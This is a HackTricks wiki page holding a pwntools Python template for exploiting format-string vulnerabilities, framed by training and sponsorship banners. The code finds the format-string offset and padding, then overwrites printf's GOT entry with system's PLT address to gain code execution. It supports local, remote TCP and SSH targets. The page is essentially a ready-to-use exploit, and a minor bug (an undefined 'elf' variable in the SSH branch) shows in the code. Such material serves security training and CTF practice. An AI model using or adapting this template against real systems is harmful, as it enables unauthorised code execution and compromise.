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https://github.com/carlospolop/hacktricks
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171 lines
7 KiB
Markdown
171 lines
7 KiB
Markdown
# Format Strings Template
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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```python
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from pwn import *
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from time import sleep
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###################
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### CONNECTION ####
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###################
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# Define how you want to exploit the binary
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LOCAL = True
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REMOTETTCP = False
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REMOTESSH = False
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GDB = False
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# Configure vulnerable binary
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LOCAL_BIN = "./tyler"
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REMOTE_BIN = "./tyler" #For ssh
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# In order to exploit the format string you may need to append/prepend some string to the payload
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# configure them here
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PREFIX_PAYLOAD = b""
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SUFFIX_PAYLOAD = b""
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NNUM_ALREADY_WRITTEN_BYTES = 0
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MAX_LENTGH = 999999 #Big num if not restricted
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print(" ====================== ")
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print("Selected options:")
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print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
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print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
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print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
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print(" ====================== ")
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def connect_binary():
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global P, ELF_LOADED, ROP_LOADED
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if LOCAL:
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P = process(LOCAL_BIN) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTETTCP:
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P = remote('10.10.10.10',1338) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
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elif REMOTESSH:
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ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
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P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
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ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
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ROP_LOADED = ROP(elf)# Find ROP gadgets
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#######################################
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### Get format string configuration ###
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#######################################
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def send_payload(payload):
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payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
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log.info("payload = %s" % repr(payload))
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if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
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P.sendline(payload)
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sleep(0.5)
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return P.recv()
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def get_formatstring_config():
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global P
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for offset in range(1,1000):
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connect_binary()
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P.clean()
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payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
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recieved = send_payload(payload).strip()
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if b"41" in recieved:
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for padlen in range(0,4):
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if b"41414141" in recieved:
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connect_binary()
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payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
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recieved = send_payload(payload).strip()
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print(recieved)
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if b"42424242" in recieved:
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log.info(f"Found offset ({offset}) and padlen ({padlen})")
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return offset, padlen
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else:
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connect_binary()
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payload = b" " + payload
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recieved = send_payload(payload).strip()
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# In order to exploit a format string you need to find a position where part of your payload
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# is being reflected. Then, you will be able to put in the position arbitrary addresses
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# and write arbitrary content in those addresses
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# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string
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offset, padlen = get_formatstring_config()
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# In this template, the GOT of printf (the part of the GOT table that points to where the printf
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# function resides) is going to be modified by the address of the system inside the PLT (the
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# part of the code that will jump to the system function).
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# Therefore, next time the printf function is executed, system will be executed instead with the same
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# parameters passed to printf
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# In some scenarios you will need to loop1 more time to the vulnerability
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# In that cases you need to overwrite a pointer in the .fini_array for example
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# Uncomment the commented code below to gain 1 rexecution extra
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#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
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#INIT_LOOP_ADDR = 0x8048614 # Address to go back
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SYSTEM_PLT = ELF_LOADED.plt["system"]
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P_GOT = ELF_LOADED.got["printf"]
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#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
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#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
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log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
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log.info(f"Printf GOT address: {hex(P_GOT)}")
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connect_binary()
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if GDB and not REMOTETTCP and not REMOTESSH:
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# attach gdb and continue
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# You can set breakpoints, for example "break *main"
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gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
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sleep(5)
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format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
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#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
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format_string.write(P_GOT, SYSTEM_PLT)
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format_string.execute_writes()
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# Now that printf function is executing system you just need to find a place where you can
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# control the parameters passed to printf to execute arbitrary code.
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P.interactive()
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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